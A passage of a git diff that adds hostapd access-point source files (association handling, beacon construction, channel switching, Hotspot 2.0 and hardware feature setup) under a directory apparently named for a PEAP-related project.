BSS data + * @sta: Pointer to the associated STA data + * @reassoc: 1 to indicate this was a re-association; 0 = first association + * + * This function will be called whenever a station associates with the AP. It + * can be called from ieee802_11.c for drivers that export MLME to hostapd and + * from drv_callbacks.c based on driver events for drivers that take care of + * management frames (IEEE 802.11 authentication and association) internally. + */ +void hostapd_new_assoc_sta(struct hostapd_data *hapd, struct sta_info *sta, + int reassoc) +{ + if (hapd->tkip_countermeasures) { + hostapd_drv_sta_deauth(hapd, sta->addr, + WLAN_REASON_MICHAEL_MIC_FAILURE); + return; + } + + hostapd_prune_associations(hapd, sta->addr); + + /* IEEE 802.11F (IAPP) */ + if (hapd->conf->ieee802_11f) + iapp_new_station(hapd->iapp, sta); + +#ifdef CONFIG_P2P + if (sta->p2p_ie == NULL && !sta->no_p2p_set) { + sta->no_p2p_set = 1; + hapd->num_sta_no_p2p++; + if (hapd->num_sta_no_p2p == 1) + hostapd_p2p_non_p2p_sta_connected(hapd); + } +#endif /* CONFIG_P2P */ + + /* Start accounting here, if IEEE 802.1X and WPA are not used. + * IEEE 802.1X/WPA code will start accounting after the station has + * been authorized. */ + if (!hapd->conf->ieee802_1x && !hapd->conf->wpa) { + os_get_time(&sta->connected_time); + accounting_sta_start(hapd, sta); + } + + /* Start IEEE 802.1X authentication process for new stations */ + ieee802_1x_new_station(hapd, sta); + if (reassoc) { + if (sta->auth_alg != WLAN_AUTH_FT && + !(sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) + wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH); + } else + wpa_auth_sta_associated(hapd->wpa_auth, sta->wpa_sm); + + if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER)) { + wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " + "for " MACSTR " (%d seconds - ap_max_inactivity)", + __func__, MAC2STR(sta->addr), + hapd->conf->ap_max_inactivity); + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_register_timeout(hapd->conf->ap_max_inactivity, 0, + ap_handle_timer, hapd, sta); + } +} + + +const char * hostapd_state_text(enum hostapd_iface_state s) +{ + switch (s) { + case HAPD_IFACE_UNINITIALIZED: + return "UNINITIALIZED"; + case HAPD_IFACE_DISABLED: + return "DISABLED"; + case HAPD_IFACE_COUNTRY_UPDATE: + return "COUNTRY_UPDATE"; + case HAPD_IFACE_ACS: + return "ACS"; + case HAPD_IFACE_HT_SCAN: + return "HT_SCAN"; + case HAPD_IFACE_DFS: + return "DFS"; + case HAPD_IFACE_ENABLED: + return "ENABLED"; + } + + return "UNKNOWN"; +} + + +void hostapd_set_state(struct hostapd_iface *iface, enum hostapd_iface_state s) +{ + wpa_printf(MSG_INFO, "%s: interface state %s->%s", + iface->conf->bss[0]->iface, hostapd_state_text(iface->state), + hostapd_state_text(s)); + iface->state = s; +} + + +#ifdef NEED_AP_MLME + +static void free_beacon_data(struct beacon_data *beacon) +{ + os_free(beacon->head); + beacon->head = NULL; + os_free(beacon->tail); + beacon->tail = NULL; + os_free(beacon->probe_resp); + beacon->probe_resp = NULL; + os_free(beacon->beacon_ies); + beacon->beacon_ies = NULL; + os_free(beacon->proberesp_ies); + beacon->proberesp_ies = NULL; + os_free(beacon->assocresp_ies); + beacon->assocresp_ies = NULL; +} + + +static int hostapd_build_beacon_data(struct hostapd_iface *iface, + struct beacon_data *beacon) +{ + struct wpabuf *beacon_extra, *proberesp_extra, *assocresp_extra; + struct wpa_driver_ap_params params; + int ret; + struct hostapd_data *hapd = iface->bss[0]; + + os_memset(beacon, 0, sizeof(*beacon)); + ret = ieee802_11_build_ap_params(hapd, ¶ms); + if (ret < 0) + return ret; + + ret = hostapd_build_ap_extra_ies(hapd, &beacon_extra, + &proberesp_extra, + &assocresp_extra); + if (ret) + goto free_ap_params; + + ret = -1; + beacon->head = os_malloc(params.head_len); + if (!beacon->head) + goto free_ap_extra_ies; + + os_memcpy(beacon->head, params.head, params.head_len); + beacon->head_len = params.head_len; + + beacon->tail = os_malloc(params.tail_len); + if (!beacon->tail) + goto free_beacon; + + os_memcpy(beacon->tail, params.tail, params.tail_len); + beacon->tail_len = params.tail_len; + + if (params.proberesp != NULL) { + beacon->probe_resp = os_malloc(params.proberesp_len); + if (!beacon->probe_resp) + goto free_beacon; + + os_memcpy(beacon->probe_resp, params.proberesp, + params.proberesp_len); + beacon->probe_resp_len = params.proberesp_len; + } + + /* copy the extra ies */ + if (beacon_extra) { + beacon->beacon_ies = os_malloc(wpabuf_len(beacon_extra)); + if (!beacon->beacon_ies) + goto free_beacon; + + os_memcpy(beacon->beacon_ies, + beacon_extra->buf, wpabuf_len(beacon_extra)); + beacon->beacon_ies_len = wpabuf_len(beacon_extra); + } + + if (proberesp_extra) { + beacon->proberesp_ies = + os_malloc(wpabuf_len(proberesp_extra)); + if (!beacon->proberesp_ies) + goto free_beacon; + + os_memcpy(beacon->proberesp_ies, proberesp_extra->buf, + wpabuf_len(proberesp_extra)); + beacon->proberesp_ies_len = wpabuf_len(proberesp_extra); + } + + if (assocresp_extra) { + beacon->assocresp_ies = + os_malloc(wpabuf_len(assocresp_extra)); + if (!beacon->assocresp_ies) + goto free_beacon; + + os_memcpy(beacon->assocresp_ies, assocresp_extra->buf, + wpabuf_len(assocresp_extra)); + beacon->assocresp_ies_len = wpabuf_len(assocresp_extra); + } + + ret = 0; +free_beacon: + /* if the function fails, the caller should not free beacon data */ + if (ret) + free_beacon_data(beacon); + +free_ap_extra_ies: + hostapd_free_ap_extra_ies(hapd, beacon_extra, proberesp_extra, + assocresp_extra); +free_ap_params: + ieee802_11_free_ap_params(¶ms); + return ret; +} + + +/* + * TODO: This flow currently supports only changing frequency within the + * same hw_mode. Any other changes to MAC parameters or provided settings (even + * width) are not supported. + */ +static int hostapd_change_config_freq(struct hostapd_data *hapd, + struct hostapd_config *conf, + struct hostapd_freq_params *params, + struct hostapd_freq_params *old_params) +{ + int channel; + + if (!params->channel) { + /* check if the new channel is supported by hw */ + channel = hostapd_hw_get_channel(hapd, params->freq); + if (!channel) + return -1; + } else { + channel = params->channel; + } + + /* if a pointer to old_params is provided we save previous state */ + if (old_params) { + old_params->channel = conf->channel; + old_params->ht_enabled = conf->ieee80211n; + old_params->sec_channel_offset = conf->secondary_channel; + } + + conf->channel = channel; + conf->ieee80211n = params->ht_enabled; + conf->secondary_channel = params->sec_channel_offset; + + /* TODO: maybe call here hostapd_config_check here? */ + + return 0; +} + + +static int hostapd_fill_csa_settings(struct hostapd_iface *iface, + struct csa_settings *settings) +{ + struct hostapd_freq_params old_freq; + int ret; + + os_memset(&old_freq, 0, sizeof(old_freq)); + if (!iface || !iface->freq || iface->csa_in_progress) + return -1; + + ret = hostapd_change_config_freq(iface->bss[0], iface->conf, + &settings->freq_params, + &old_freq); + if (ret) + return ret; + + ret = hostapd_build_beacon_data(iface, &settings->beacon_after); + + /* change back the configuration */ + hostapd_change_config_freq(iface->bss[0], iface->conf, + &old_freq, NULL); + + if (ret) + return ret; + + /* set channel switch parameters for csa ie */ + iface->cs_freq = settings->freq_params.freq; + iface->cs_count = settings->cs_count; + iface->cs_block_tx = settings->block_tx; + + ret = hostapd_build_beacon_data(iface, &settings->beacon_csa); + if (ret) { + free_beacon_data(&settings->beacon_after); + return ret; + } + + settings->counter_offset_beacon = iface->cs_c_off_beacon; + settings->counter_offset_presp = iface->cs_c_off_proberesp; + + return 0; +} + + +void hostapd_cleanup_cs_params(struct hostapd_data *hapd) +{ + hapd->iface->cs_freq = 0; + hapd->iface->cs_count = 0; + hapd->iface->cs_block_tx = 0; + hapd->iface->cs_c_off_beacon = 0; + hapd->iface->cs_c_off_proberesp = 0; + hapd->iface->csa_in_progress = 0; +} + + +int hostapd_switch_channel(struct hostapd_data *hapd, + struct csa_settings *settings) +{ + int ret; + ret = hostapd_fill_csa_settings(hapd->iface, settings); + if (ret) + return ret; + + ret = hostapd_drv_switch_channel(hapd, settings); + free_beacon_data(&settings->beacon_csa); + free_beacon_data(&settings->beacon_after); + + if (ret) { + /* if we failed, clean cs parameters */ + hostapd_cleanup_cs_params(hapd); + return ret; + } + + hapd->iface->csa_in_progress = 1; + return 0; +} + +#endif /* NEED_AP_MLME */ diff --git a/peapwn/mods/hostap/src/ap/hostapd.h b/peapwn/mods/hostap/src/ap/hostapd.h new file mode 100644 index 000000000..c25917dd9 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hostapd.h @@ -0,0 +1,423 @@ +/* + * hostapd / Initialization and configuration + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HOSTAPD_H +#define HOSTAPD_H + +#include "common/defs.h" +#include "ap_config.h" + +struct wpa_driver_ops; +struct wpa_ctrl_dst; +struct radius_server_data; +struct upnp_wps_device_sm; +struct hostapd_data; +struct sta_info; +struct hostap_sta_driver_data; +struct ieee80211_ht_capabilities; +struct full_dynamic_vlan; +enum wps_event; +union wps_event_data; + +struct hostapd_iface; +struct hostapd_dynamic_iface; + +struct csa_settings; + +struct hapd_interfaces { + int (*reload_config)(struct hostapd_iface *iface); + struct hostapd_config * (*config_read_cb)(const char *config_fname); + int (*ctrl_iface_init)(struct hostapd_data *hapd); + void (*ctrl_iface_deinit)(struct hostapd_data *hapd); + int (*for_each_interface)(struct hapd_interfaces *interfaces, + int (*cb)(struct hostapd_iface *iface, + void *ctx), void *ctx); + int (*driver_init)(struct hostapd_iface *iface); + + size_t count; + size_t count_dynamic; + int global_ctrl_sock; + char *global_iface_path; + char *global_iface_name; +#ifndef CONFIG_NATIVE_WINDOWS + gid_t ctrl_iface_group; +#endif /* CONFIG_NATIVE_WINDOWS */ + struct hostapd_iface **iface; + struct hostapd_dynamic_iface **dynamic_iface; + + size_t terminate_on_error; +}; + +enum hostapd_chan_status { + HOSTAPD_CHAN_VALID = 0, /* channel is ready */ + HOSTAPD_CHAN_INVALID = 1, /* no usable channel found */ + HOSTAPD_CHAN_ACS = 2, /* ACS work being performed */ +}; + +struct hostapd_probereq_cb { + int (*cb)(void *ctx, const u8 *sa, const u8 *da, const u8 *bssid, + const u8 *ie, size_t ie_len, int ssi_signal); + void *ctx; +}; + +#define HOSTAPD_RATE_BASIC 0x00000001 + +struct hostapd_rate_data { + int rate; /* rate in 100 kbps */ + int flags; /* HOSTAPD_RATE_ flags */ +}; + +struct hostapd_frame_info { + u32 channel; + u32 datarate; + int ssi_signal; /* dBm */ +}; + +enum wps_status { + WPS_STATUS_SUCCESS = 1, + WPS_STATUS_FAILURE +}; + +enum pbc_status { + WPS_PBC_STATUS_DISABLE, + WPS_PBC_STATUS_ACTIVE, + WPS_PBC_STATUS_TIMEOUT, + WPS_PBC_STATUS_OVERLAP +}; + +struct wps_stat { + enum wps_status status; + enum wps_error_indication failure_reason; + enum pbc_status pbc_status; + u8 peer_addr[ETH_ALEN]; +}; + + +/** + * struct hostapd_data - hostapd per-BSS data structure + */ +struct hostapd_data { + struct hostapd_iface *iface; + struct hostapd_config *iconf; + struct hostapd_bss_config *conf; + int interface_added; /* virtual interface added for this BSS */ + unsigned int started:1; + + u8 own_addr[ETH_ALEN]; + + int num_sta; /* number of entries in sta_list */ + struct sta_info *sta_list; /* STA info list head */ +#define STA_HASH_SIZE 256 +#define STA_HASH(sta) (sta[5]) + struct sta_info *sta_hash[STA_HASH_SIZE]; + + /* + * Bitfield for indicating which AIDs are allocated. Only AID values + * 1-2007 are used and as such, the bit at index 0 corresponds to AID + * 1. + */ +#define AID_WORDS ((2008 + 31) / 32) + u32 sta_aid[AID_WORDS]; + + const struct wpa_driver_ops *driver; + void *drv_priv; + + void (*new_assoc_sta_cb)(struct hostapd_data *hapd, + struct sta_info *sta, int reassoc); + + void *msg_ctx; /* ctx for wpa_msg() calls */ + void *msg_ctx_parent; /* parent interface ctx for wpa_msg() calls */ + + struct radius_client_data *radius; + u32 acct_session_id_hi, acct_session_id_lo; + struct radius_das_data *radius_das; + + struct iapp_data *iapp; + + struct hostapd_cached_radius_acl *acl_cache; + struct hostapd_acl_query_data *acl_queries; + + struct wpa_authenticator *wpa_auth; + struct eapol_authenticator *eapol_auth; + + struct rsn_preauth_interface *preauth_iface; + time_t michael_mic_failure; + int michael_mic_failures; + int tkip_countermeasures; + + int ctrl_sock; + struct wpa_ctrl_dst *ctrl_dst; + + void *ssl_ctx; + void *eap_sim_db_priv; + struct radius_server_data *radius_srv; + + int parameter_set_count; + + /* Time Advertisement */ + u8 time_update_counter; + struct wpabuf *time_adv; + +#ifdef CONFIG_FULL_DYNAMIC_VLAN + struct full_dynamic_vlan *full_dynamic_vlan; +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + struct l2_packet_data *l2; + struct wps_context *wps; + + int beacon_set_done; + struct wpabuf *wps_beacon_ie; + struct wpabuf *wps_probe_resp_ie; +#ifdef CONFIG_WPS + unsigned int ap_pin_failures; + unsigned int ap_pin_failures_consecutive; + struct upnp_wps_device_sm *wps_upnp; + unsigned int ap_pin_lockout_time; + + struct wps_stat wps_stats; +#endif /* CONFIG_WPS */ + + struct hostapd_probereq_cb *probereq_cb; + size_t num_probereq_cb; + + void (*public_action_cb)(void *ctx, const u8 *buf, size_t len, + int freq); + void *public_action_cb_ctx; + void (*public_action_cb2)(void *ctx, const u8 *buf, size_t len, + int freq); + void *public_action_cb2_ctx; + + int (*vendor_action_cb)(void *ctx, const u8 *buf, size_t len, + int freq); + void *vendor_action_cb_ctx; + + void (*wps_reg_success_cb)(void *ctx, const u8 *mac_addr, + const u8 *uuid_e); + void *wps_reg_success_cb_ctx; + + void (*wps_event_cb)(void *ctx, enum wps_event event, + union wps_event_data *data); + void *wps_event_cb_ctx; + + void (*sta_authorized_cb)(void *ctx, const u8 *mac_addr, + int authorized, const u8 *p2p_dev_addr); + void *sta_authorized_cb_ctx; + + void (*setup_complete_cb)(void *ctx); + void *setup_complete_cb_ctx; + + void (*new_psk_cb)(void *ctx, const u8 *mac_addr, + const u8 *p2p_dev_addr, const u8 *psk, + size_t psk_len); + void *new_psk_cb_ctx; + +#ifdef CONFIG_P2P + struct p2p_data *p2p; + struct p2p_group *p2p_group; + struct wpabuf *p2p_beacon_ie; + struct wpabuf *p2p_probe_resp_ie; + + /* Number of non-P2P association stations */ + int num_sta_no_p2p; + + /* Periodic NoA (used only when no non-P2P clients in the group) */ + int noa_enabled; + int noa_start; + int noa_duration; +#endif /* CONFIG_P2P */ +#ifdef CONFIG_INTERWORKING + size_t gas_frag_limit; +#endif /* CONFIG_INTERWORKING */ + +#ifdef CONFIG_SQLITE + struct hostapd_eap_user tmp_eap_user; +#endif /* CONFIG_SQLITE */ + +#ifdef CONFIG_SAE + /** Key used for generating SAE anti-clogging tokens */ + u8 sae_token_key[8]; + os_time_t last_sae_token_key_update; +#endif /* CONFIG_SAE */ +}; + + +/** + * struct hostapd_iface - hostapd per-interface data structure + */ +struct hostapd_iface { + struct hapd_interfaces *interfaces; + void *owner; + char *config_fname; + struct hostapd_config *conf; + char phy[16]; /* Name of the PHY (radio) */ + + enum hostapd_iface_state { + HAPD_IFACE_UNINITIALIZED, + HAPD_IFACE_DISABLED, + HAPD_IFACE_COUNTRY_UPDATE, + HAPD_IFACE_ACS, + HAPD_IFACE_HT_SCAN, + HAPD_IFACE_DFS, + HAPD_IFACE_ENABLED + } state; + + size_t num_bss; + struct hostapd_data **bss; + + unsigned int wait_channel_update:1; + unsigned int cac_started:1; + + int num_ap; /* number of entries in ap_list */ + struct ap_info *ap_list; /* AP info list head */ + struct ap_info *ap_hash[STA_HASH_SIZE]; + + unsigned int drv_flags; + + /* + * A bitmap of supported protocols for probe response offload. See + * struct wpa_driver_capa in driver.h + */ + unsigned int probe_resp_offloads; + + /* extended capabilities supported by the driver */ + const u8 *extended_capa, *extended_capa_mask; + unsigned int extended_capa_len; + + unsigned int drv_max_acl_mac_addrs; + + struct hostapd_hw_modes *hw_features; + int num_hw_features; + struct hostapd_hw_modes *current_mode; + /* Rates that are currently used (i.e., filtered copy of + * current_mode->channels */ + int num_rates; + struct hostapd_rate_data *current_rates; + int *basic_rates; + int freq; + + u16 hw_flags; + + /* Number of associated Non-ERP stations (i.e., stations using 802.11b + * in 802.11g BSS) */ + int num_sta_non_erp; + + /* Number of associated stations that do not support Short Slot Time */ + int num_sta_no_short_slot_time; + + /* Number of associated stations that do not support Short Preamble */ + int num_sta_no_short_preamble; + + int olbc; /* Overlapping Legacy BSS Condition */ + + /* Number of HT associated stations that do not support greenfield */ + int num_sta_ht_no_gf; + + /* Number of associated non-HT stations */ + int num_sta_no_ht; + + /* Number of HT associated stations 20 MHz */ + int num_sta_ht_20mhz; + + /* Overlapping BSS information */ + int olbc_ht; + + u16 ht_op_mode; + + /* surveying helpers */ + + /* number of channels surveyed */ + unsigned int chans_surveyed; + + /* lowest observed noise floor in dBm */ + s8 lowest_nf; + + /* channel switch parameters */ + int cs_freq; + u8 cs_count; + int cs_block_tx; + unsigned int cs_c_off_beacon; + unsigned int cs_c_off_proberesp; + int csa_in_progress; + +#ifdef CONFIG_ACS + unsigned int acs_num_completed_scans; +#endif /* CONFIG_ACS */ + + void (*scan_cb)(struct hostapd_iface *iface); +}; + +/** + * struct hostapd_dynamic_iface - hostapd per dynamically allocated + * or added interface data structure + */ +struct hostapd_dynamic_iface { + char parent[IFNAMSIZ + 1]; + char iface[IFNAMSIZ + 1]; + unsigned int usage; +}; + +/* hostapd.c */ +int hostapd_for_each_interface(struct hapd_interfaces *interfaces, + int (*cb)(struct hostapd_iface *iface, + void *ctx), void *ctx); +int hostapd_reload_config(struct hostapd_iface *iface); +struct hostapd_data * +hostapd_alloc_bss_data(struct hostapd_iface *hapd_iface, + struct hostapd_config *conf, + struct hostapd_bss_config *bss); +int hostapd_setup_interface(struct hostapd_iface *iface); +int hostapd_setup_interface_complete(struct hostapd_iface *iface, int err); +void hostapd_interface_deinit(struct hostapd_iface *iface); +void hostapd_interface_free(struct hostapd_iface *iface); +struct hostapd_iface * hostapd_init(struct hapd_interfaces *interfaces, + const char *config_file); +struct hostapd_iface * +hostapd_interface_init_bss(struct hapd_interfaces *interfaces, const char *phy, + const char *config_fname, int debug); +void hostapd_new_assoc_sta(struct hostapd_data *hapd, struct sta_info *sta, + int reassoc); +void hostapd_interface_deinit_free(struct hostapd_iface *iface); +int hostapd_enable_iface(struct hostapd_iface *hapd_iface); +int hostapd_reload_iface(struct hostapd_iface *hapd_iface); +int hostapd_disable_iface(struct hostapd_iface *hapd_iface); +int hostapd_add_iface(struct hapd_interfaces *ifaces, char *buf); +int hostapd_remove_iface(struct hapd_interfaces *ifaces, char *buf); +void hostapd_channel_list_updated(struct hostapd_iface *iface, int initiator); +void hostapd_set_state(struct hostapd_iface *iface, enum hostapd_iface_state s); +const char * hostapd_state_text(enum hostapd_iface_state s); +int hostapd_switch_channel(struct hostapd_data *hapd, + struct csa_settings *settings); +void hostapd_cleanup_cs_params(struct hostapd_data *hapd); + +/* utils.c */ +int hostapd_register_probereq_cb(struct hostapd_data *hapd, + int (*cb)(void *ctx, const u8 *sa, + const u8 *da, const u8 *bssid, + const u8 *ie, size_t ie_len, + int ssi_signal), + void *ctx); +void hostapd_prune_associations(struct hostapd_data *hapd, const u8 *addr); + +/* drv_callbacks.c (TODO: move to somewhere else?) */ +int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr, + const u8 *ie, size_t ielen, int reassoc); +void hostapd_notif_disassoc(struct hostapd_data *hapd, const u8 *addr); +void hostapd_event_sta_low_ack(struct hostapd_data *hapd, const u8 *addr); +void hostapd_event_connect_failed_reason(struct hostapd_data *hapd, + const u8 *addr, int reason_code); +int hostapd_probe_req_rx(struct hostapd_data *hapd, const u8 *sa, const u8 *da, + const u8 *bssid, const u8 *ie, size_t ie_len, + int ssi_signal); +void hostapd_event_ch_switch(struct hostapd_data *hapd, int freq, int ht, + int offset); + +const struct hostapd_eap_user * +hostapd_get_eap_user(struct hostapd_data *hapd, const u8 *identity, + size_t identity_len, int phase2); + +#endif /* HOSTAPD_H */ diff --git a/peapwn/mods/hostap/src/ap/hs20.c b/peapwn/mods/hostap/src/ap/hs20.c new file mode 100644 index 000000000..45d518bc1 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hs20.c @@ -0,0 +1,31 @@ +/* + * Hotspot 2.0 AP ANQP processing + * Copyright (c) 2009, Atheros Communications, Inc. + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "hostapd.h" +#include "ap_config.h" +#include "hs20.h" + + +u8 * hostapd_eid_hs20_indication(struct hostapd_data *hapd, u8 *eid) +{ + if (!hapd->conf->hs20) + return eid; + *eid++ = WLAN_EID_VENDOR_SPECIFIC; + *eid++ = 5; + WPA_PUT_BE24(eid, OUI_WFA); + eid += 3; + *eid++ = HS20_INDICATION_OUI_TYPE; + /* Hotspot Configuration: DGAF Enabled */ + *eid++ = hapd->conf->disable_dgaf ? 0x01 : 0x00; + return eid; +} diff --git a/peapwn/mods/hostap/src/ap/hs20.h b/peapwn/mods/hostap/src/ap/hs20.h new file mode 100644 index 000000000..98698ce2f --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hs20.h @@ -0,0 +1,16 @@ +/* + * Hotspot 2.0 AP ANQP processing + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HS20_H +#define HS20_H + +struct hostapd_data; + +u8 * hostapd_eid_hs20_indication(struct hostapd_data *hapd, u8 *eid); + +#endif /* HS20_H */ diff --git a/peapwn/mods/hostap/src/ap/hw_features.c b/peapwn/mods/hostap/src/ap/hw_features.c new file mode 100644 index 000000000..e95e0e1af --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hw_features.c @@ -0,0 +1,1038 @@ +/* + * hostapd / Hardware feature query and different modes + * Copyright 2002-2003, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2008-2012, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "common/wpa_ctrl.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "acs.h" +#include "hw_features.h" + + +void hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, + size_t num_hw_features) +{ + size_t i; + + if (hw_features == NULL) + return; + + for (i = 0; i < num_hw_features; i++) { + os_free(hw_features[i].channels); + os_free(hw_features[i].rates); + } + + os_free(hw_features); +} + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static char * dfs_info(struct hostapd_channel_data *chan) +{ + static char info[256]; + char *state; + + switch (chan->flag & HOSTAPD_CHAN_DFS_MASK) { + case HOSTAPD_CHAN_DFS_UNKNOWN: + state = "unknown"; + break; + case HOSTAPD_CHAN_DFS_USABLE: + state = "usable"; + break; + case HOSTAPD_CHAN_DFS_UNAVAILABLE: + state = "unavailable"; + break; + case HOSTAPD_CHAN_DFS_AVAILABLE: + state = "available"; + break; + default: + return ""; + } + os_snprintf(info, sizeof(info), " (DFS state = %s)", state); + info[sizeof(info) - 1] = '\0'; + + return info; +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +int hostapd_get_hw_features(struct hostapd_iface *iface) +{ + struct hostapd_data *hapd = iface->bss[0]; + int ret = 0, i, j; + u16 num_modes, flags; + struct hostapd_hw_modes *modes; + + if (hostapd_drv_none(hapd)) + return -1; + modes = hostapd_get_hw_feature_data(hapd, &num_modes, &flags); + if (modes == NULL) { + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "Fetching hardware channel/rate support not " + "supported."); + return -1; + } + + iface->hw_flags = flags; + + hostapd_free_hw_features(iface->hw_features, iface->num_hw_features); + iface->hw_features = modes; + iface->num_hw_features = num_modes; + + for (i = 0; i < num_modes; i++) { + struct hostapd_hw_modes *feature = &modes[i]; + int dfs_enabled = hapd->iconf->ieee80211h && + (iface->drv_flags & WPA_DRIVER_FLAGS_RADAR); + + /* set flag for channels we can use in current regulatory + * domain */ + for (j = 0; j < feature->num_channels; j++) { + int dfs = 0; + + /* + * Disable all channels that are marked not to allow + * IBSS operation or active scanning. + * Use radar channels only if the driver supports DFS. + */ + if ((feature->channels[j].flag & + HOSTAPD_CHAN_RADAR) && dfs_enabled) { + dfs = 1; + } else if (feature->channels[j].flag & + (HOSTAPD_CHAN_NO_IBSS | + HOSTAPD_CHAN_PASSIVE_SCAN | + HOSTAPD_CHAN_RADAR)) { + feature->channels[j].flag |= + HOSTAPD_CHAN_DISABLED; + } + + if (feature->channels[j].flag & HOSTAPD_CHAN_DISABLED) + continue; + + wpa_printf(MSG_MSGDUMP, "Allowed channel: mode=%d " + "chan=%d freq=%d MHz max_tx_power=%d dBm%s", + feature->mode, + feature->channels[j].chan, + feature->channels[j].freq, + feature->channels[j].max_tx_power, + dfs ? dfs_info(&feature->channels[j]) : ""); + } + } + + return ret; +} + + +int hostapd_prepare_rates(struct hostapd_iface *iface, + struct hostapd_hw_modes *mode) +{ + int i, num_basic_rates = 0; + int basic_rates_a[] = { 60, 120, 240, -1 }; + int basic_rates_b[] = { 10, 20, -1 }; + int basic_rates_g[] = { 10, 20, 55, 110, -1 }; + int *basic_rates; + + if (iface->conf->basic_rates) + basic_rates = iface->conf->basic_rates; + else switch (mode->mode) { + case HOSTAPD_MODE_IEEE80211A: + basic_rates = basic_rates_a; + break; + case HOSTAPD_MODE_IEEE80211B: + basic_rates = basic_rates_b; + break; + case HOSTAPD_MODE_IEEE80211G: + basic_rates = basic_rates_g; + break; + case HOSTAPD_MODE_IEEE80211AD: + return 0; /* No basic rates for 11ad */ + default: + return -1; + } + + i = 0; + while (basic_rates[i] >= 0) + i++; + if (i) + i++; /* -1 termination */ + os_free(iface->basic_rates); + iface->basic_rates = os_malloc(i * sizeof(int)); + if (iface->basic_rates) + os_memcpy(iface->basic_rates, basic_rates, i * sizeof(int)); + + os_free(iface->current_rates); + iface->num_rates = 0; + + iface->current_rates = + os_calloc(mode->num_rates, sizeof(struct hostapd_rate_data)); + if (!iface->current_rates) { + wpa_printf(MSG_ERROR, "Failed to allocate memory for rate " + "table."); + return -1; + } + + for (i = 0; i < mode->num_rates; i++) { + struct hostapd_rate_data *rate; + + if (iface->conf->supported_rates && + !hostapd_rate_found(iface->conf->supported_rates, + mode->rates[i])) + continue; + + rate = &iface->current_rates[iface->num_rates]; + rate->rate = mode->rates[i]; + if (hostapd_rate_found(basic_rates, rate->rate)) { + rate->flags |= HOSTAPD_RATE_BASIC; + num_basic_rates++; + } + wpa_printf(MSG_DEBUG, "RATE[%d] rate=%d flags=0x%x", + iface->num_rates, rate->rate, rate->flags); + iface->num_rates++; + } + + if ((iface->num_rates == 0 || num_basic_rates == 0) && + (!iface->conf->ieee80211n || !iface->conf->require_ht)) { + wpa_printf(MSG_ERROR, "No rates remaining in supported/basic " + "rate sets (%d,%d).", + iface->num_rates, num_basic_rates); + return -1; + } + + return 0; +} + + +#ifdef CONFIG_IEEE80211N +static int ieee80211n_allowed_ht40_channel_pair(struct hostapd_iface *iface) +{ + int sec_chan, ok, j, first; + int allowed[] = { 36, 44, 52, 60, 100, 108, 116, 124, 132, 149, 157, + 184, 192 }; + size_t k; + + if (!iface->conf->secondary_channel) + return 1; /* HT40 not used */ + + sec_chan = iface->conf->channel + iface->conf->secondary_channel * 4; + wpa_printf(MSG_DEBUG, "HT40: control channel: %d " + "secondary channel: %d", + iface->conf->channel, sec_chan); + + /* Verify that HT40 secondary channel is an allowed 20 MHz + * channel */ + ok = 0; + for (j = 0; j < iface->current_mode->num_channels; j++) { + struct hostapd_channel_data *chan = + &iface->current_mode->channels[j]; + if (!(chan->flag & HOSTAPD_CHAN_DISABLED) && + chan->chan == sec_chan) { + ok = 1; + break; + } + } + if (!ok) { + wpa_printf(MSG_ERROR, "HT40 secondary channel %d not allowed", + sec_chan); + return 0; + } + + /* + * Verify that HT40 primary,secondary channel pair is allowed per + * IEEE 802.11n Annex J. This is only needed for 5 GHz band since + * 2.4 GHz rules allow all cases where the secondary channel fits into + * the list of allowed channels (already checked above). + */ + if (iface->current_mode->mode != HOSTAPD_MODE_IEEE80211A) + return 1; + + if (iface->conf->secondary_channel > 0) + first = iface->conf->channel; + else + first = sec_chan; + + ok = 0; + for (k = 0; k < ARRAY_SIZE(allowed); k++) { + if (first == allowed[k]) { + ok = 1; + break; + } + } + if (!ok) { + wpa_printf(MSG_ERROR, "HT40 channel pair (%d, %d) not allowed", + iface->conf->channel, + iface->conf->secondary_channel); + return 0; + } + + return 1; +} + + +static void ieee80211n_switch_pri_sec(struct hostapd_iface *iface) +{ + if (iface->conf->secondary_channel > 0) { + iface->conf->channel += 4; + iface->conf->secondary_channel = -1; + } else { + iface->conf->channel -= 4; + iface->conf->secondary_channel = 1; + } +} + + +static void ieee80211n_get_pri_sec_chan(struct wpa_scan_res *bss, + int *pri_chan, int *sec_chan) +{ + struct ieee80211_ht_operation *oper; + struct ieee802_11_elems elems; + + *pri_chan = *sec_chan = 0; + + ieee802_11_parse_elems((u8 *) (bss + 1), bss->ie_len, &elems, 0); + if (elems.ht_operation && + elems.ht_operation_len >= sizeof(*oper)) { + oper = (struct 